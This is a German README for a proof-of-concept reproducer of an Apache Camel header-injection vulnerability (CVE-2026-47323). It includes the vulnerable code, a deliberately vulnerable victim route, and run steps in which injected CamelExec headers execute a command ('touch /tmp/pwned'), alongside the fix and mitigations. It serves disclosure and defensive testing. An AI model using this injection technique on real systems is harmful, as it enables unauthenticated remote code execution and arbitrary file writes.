camel-cxf-rest / camel-cxf / camel-knative-http Reproducer für Header-Injection (CVE-2026-47323)

Dieses Projekt demonstriert eine Message-Header-Injection in den CXF- und Knative-HTTP-Header-Filter-Strategien von Apache Camel, verfolgt als CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) und KnativeHttpHeaderFilterStrategy (camel-knative-http) filtern nur ausgehende Camel-interne Header (setOutFilterStartsWith), während sie keine eingehende Filterung (setInFilterStartsWith) konfigurieren. Infolgedessen kann ein nicht authentifizierter Angreifer Camel-interne Header (z.B. CamelExecCommandExecutable, CamelFileName) über HTTP-Anfragen an CXF-RS- oder CXF-SOAP-Endpunkte injizieren. Wenn eine Route Nachrichten von diesen Endpunkten an header-gesteuerte Komponenten wie camel-exec oder camel-file weiterleitet, überschreiben die injizierten Header die konfigurierten Werte — was Remote Code Execution oder beliebige Dateischreibvorgänge ermöglicht.

Dieser PoC nutzt die CXF-RS (JAX-RS)-Oberfläche: Ein injiziertes CamelExecCommandExecutable verwandelt ein harmloses echo in eine beliebige Befehlsausführung.

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-47323.html

Zusammenfassung der Sicherheitslücke

Dieser Reproducer verwendet camel 4.18.1 — die letzte betroffene Version auf der 4.18.x-Linie (der Fix kam in 4.18.2). Gleiches Muster wie camel-undertow (CVE-2025-30177), der breitere eingehende Header-Filter (CVE-2025-27636, CVE-2025-29891) und die Nicht-HTTP-Strategien (CVE-2026-40453).

Technische Details

// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)

// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
    if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
            || entry.getValue().isEmpty()) {
        // dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
    } else {
        camelMessage.setHeader(entry.getKey(), entry.getValue().get(0));   // <-- injected header lands here
    }
}

Der Fix (4.14.6 / 4.18.2 / 4.19.0) fügt setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) zu diesen Strategien hinzu, sodass eingehende Camel* / camel*-Header verworfen werden.

Die Opfer-Route

from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
    .to("exec:echo?args=hello")          // the author's fixed, harmless command
    .setBody(constant("ok\n"));

Ein JAX-RS-Endpunkt (GET /service/api/ping), dessen Anfragen an einen festen Shell-Befehl übergeben werden. Der camel-exec-Producer bevorzugt einen eingehenden CamelExecCommandExecutable-Header gegenüber dem konfigurierten echo.

Repository-Struktur

Alles läuft in einer in sich geschlossenen Anwendung: der CXF-RS-Endpunkt, die camel-exec-Senke und der Angreifer-Treiber.

CVE-2026-47323/
├── pom.xml                 # camel-cxf-rest + camel-exec 4.18.1 (+ CXF-Undertow-Transport)
├── Dockerfile
├── docker-compose.yml      # einzelner in sich geschlossener Dienst
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── ApiResource.java        # JAX-RS-Vertrag: GET /api/ping
    │   ├── VictimRoute.java        # cxfrs-Consumer -> exec:echo
    │   └── ExploitController.java  # Angreifer: GET /ping mit injizierten CamelExec*-Headern
    └── resources/
        └── application.properties

Voraussetzungen

• Java 17+ und Maven 3.8+
• Docker (optional, für den containerisierten Start)

Reproduktionsschritte

Option A — Docker (empfohlen)

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned      # erstellt durch den injizierten Befehl
docker compose down

Option B — JAR direkt ausführen

mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned

Erwartete Ausgabe

marker before: false

=== 1) Legitimate request (no injected headers) ===
  response: ok
  marker created: false

=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
  response: ok
  marker created: true

>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true

Angriffsvektoren

Jede Route, die Nachrichten von einem CXF-RS-, CXF-SOAP- oder Knative-HTTP-Endpunkt an einen header-gesteuerten Producer weiterleitet. Über CamelExecCommandExecutable (RCE via camel-exec) hinaus ermöglicht CamelFileName beliebige Dateischreibvorgänge via camel-file, und andere Camel*-Steuerheader können andere Producer steuern.

Empfohlener Fix

Aktualisieren Sie auf 4.14.6 / 4.18.2 / 4.19.0. Die betroffenen Strategien konfigurieren dann setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) und verwerfen eingehende Camel*-Header.

Gegenmaßnahmen

Bis zur Aktualisierung entfernen Sie die Camel-Steuerheader aus eingehenden Nachrichten vor jedem nachgelagerten Producer (.removeHeaders("Camel*") und .removeHeaders("camel*") am Anfang der Route) und fordern Sie eine Authentifizierung am CXF-/Knative-Endpunkt.

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.